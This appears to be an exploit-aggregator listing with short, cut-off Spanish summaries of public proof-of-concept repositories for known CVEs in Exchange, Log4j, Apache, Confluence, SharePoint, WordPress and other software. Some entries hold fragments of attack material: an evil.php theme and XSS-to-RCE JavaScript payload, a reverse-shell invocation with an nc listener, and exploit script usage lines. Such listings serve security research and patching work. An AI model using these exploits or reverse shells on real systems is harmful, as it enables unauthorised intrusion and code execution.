CVE-2021-26855-Exchange-RCE

CVE-2021-26855-Exchange-RCE Microsoft Exchange Proxylogon Exploit Chain EXP分析 + CVE-2021–26855 + CVE-2021–27065 resumen de reproducción...

chakra-exploit-framework

Framework de explotación de Chakra Este repositorio contiene el framework de explotación de navegadores que escribí para prepararme para mi curso EXP-401. El framework está dirigido al motor Chakra, que formó parte de Edge hasta su migración a v8 en 2019. La vulnerabilidad de demostración utiliza...

cve-2020-00796

Identificación y mitigación de la falla CVE-2020–0796 en el vuelo CVE-2020–0796, es una vulnerabilidad de ejecución remota de código previa que reside en el protocolo de comunicación de red Server Message Block 3.0 SMBv3, que Microsoft no abordará el problema como parte del Martes de marzo de 202...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell Prueba de concepto Las funciones JNDI de Apache Log4j2 =2.14.1 utilizadas en la configuración, los mensajes de registro y los parámetros no protegen contra LDAP controlado por el atacante y otros endpoints relacionados con JNDI. Un atacante que pueda controlar los mensaje...

CVE-2023-42222

CVE-2023-42222 Resumen de la vulnerabilidad WebCatalog anterior a la versión 48.4.0 llama a la función Electron shell.openExternal sin verificar que la URL corresponda a un recurso http o https, en algunas circunstancias. Esta vulnerabilidad permite a un atacante ejecutar código en la máquina de ...

CVE-2024-44902

CVE-2024-44902 Descripción de la vulnerabilidad Una vulnerabilidad de deserialización en Thinkphp v6.1.3 a v8.0.4 permite a atacantes ejecutar código arbitrario. Versiones afectadas Thinkphp v6.1.3 a v8.0.4 Condición de explotación El framework thinkphp debe tener instalada la extensión Memcached...

CVE-2023-41425

https://sploitus.com/exploit?id=3A833277-4844-5F02-AFEF-5EA6BA8AC1AC Wonder CMS RCE | | Descripción : XSS a RCE, Wonder CMS 3.2.0 evil/evil.php EOF zip -r evil.zip evil/ JS payload that will install the new theme cat xssrce.js var xhr=new XMLHttpRequest; xhr.open"GET",...

CVE-2025-55182-React2Shell

React2Shell React2Shell es una prueba de concepto PoC de explotación que demuestra una vulnerabilidad CRÍTICA de ejecución remota de código RCE en marcos web modernos que usan React Server Components RSC. Esta PoC ataca CVE-2025-55182 , una vulnerabilidad con CVSS 10.0 que permite a atacantes...

CVE-2019-6340

CVE-2019-6340 Solo con fines educativos Ejecutar $ docker run --rm -p 8080:80 knqyf263/cve-2019-6340 Explotación GET $ curl -XGET -H "Content-Type: application/hal+json" "http://localhost:8080/node/1?format=haljson" -d ' "link": "value": "link", "options":...

wp2shell-poc

wp2shell-poc Prueba de concepto independiente para la inyección SQL por confusión de rutas en el lote REST de WordPress sin autenticación, asociada al aviso wp2shell de Searchlight Cyber. Este repositorio no es el verificador oficial de Searchlight Cyber. check confirma la ruta del SQLi, read...

CVE-2022-46080

EN Este proyecto proporciona una prueba de concepto de exploit para una vulnerabilidad de ejecución remota de código RCE en routers Nexxt, específicamente dirigida a la versión 15.03.06.60. Esta vulnerabilidad permite a un atacante habilitar el servicio Telnet en el router sin autenticación,...

CVE-2024-38856_Scanner

CVE-2024-38856 Solo para uso ético. No se permite ninguna actividad dañina o maliciosa. Y es tu responsabilidad. CVE-2024-38856: Escáner y Exploit de ejecución remota de código de Apache OFBiz El análisis del CVE: https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-rce Este problema afecta ...

perl_spreadsheet_excel_rce_poc

Vulnerabilidad de seguridad en ParseExcel TL;DR: RCE a partir de la lógica en el análisis de cadenas de formato. Explicación breve sobre el exploit La causa raíz de la explotación proviene de llamar a eval sobre una entrada de usuario no validada en Utility.pm...

CVE-2022-42889-PoC

CVE-2022-42889 también conocido como Text4Shell Prueba de Concepto RCE Text4Shell es el nombre popular de una vulnerabilidad de software crítica descubierta en la biblioteca Apache Commons Text ver CVE-2022-42889. Este repositorio está destinado a demostrar una Ejecución Remota de Código RCE que...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 con CGI Uso : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT Más información: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 999...

CVE-2026-73570

🔴 CVE-2026-73570 — high-severity unauthenticated RCE ⚠️ Unauthenticated OS Command Injection → Remote Code Execution Zimbra Collaboration Suite · SNMP Notification Processing 🧠 Overview CVE-2026-73570 is a high-severity OS command injection vulnerability affecting specific configurations of Zimbra...

CVE-2026-25253

CVE-2026-25253 OpenClaw 1-Click RCE ★ CVE-2026-25253 OpenClaw 1-Click Remote Code Execution PoC ★ https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e Description CVE-2026-25253 : OpenClaw Authentication Token Exfiltration Vulnerability description: OpenClaw aka clawdbo...

CVE-2024-54761

BigAnt Office Messenger 5.6.06 RCE mediante inyección SQL La vulnerabilidad de inyección SQL en BigAnt Messenger provoca una vulnerabilidad RCE. Siga los pasos para explotarla. Uso: CVE-2024-54761.py -h -r RHOST -p RPORT -u USERNAME -P PASSWORD options: -h, --help show this help message and exit...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Vulnerabilidad de RCE ejecución remota de código en versiones desactualizadas de Confluence Data Center y Server Fecha de publicación del aviso Tue, Jan 16 2024 01:00 EST Productos: Confluence Data Center Confluence Server Versiones afectadas: 8.0.x 8.1.x 8.2.x 8.3...

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC

CVE-2025-53770-SharePoint-Deserialization-RCE-PoC Una vulnerabilidad crítica en Microsoft SharePoint Server permite la ejecución remota de código no autenticada mediante la deserialización de datos no confiables. Microsoft está al tanto de la explotación activa; aplique las mitigaciones de CVE de...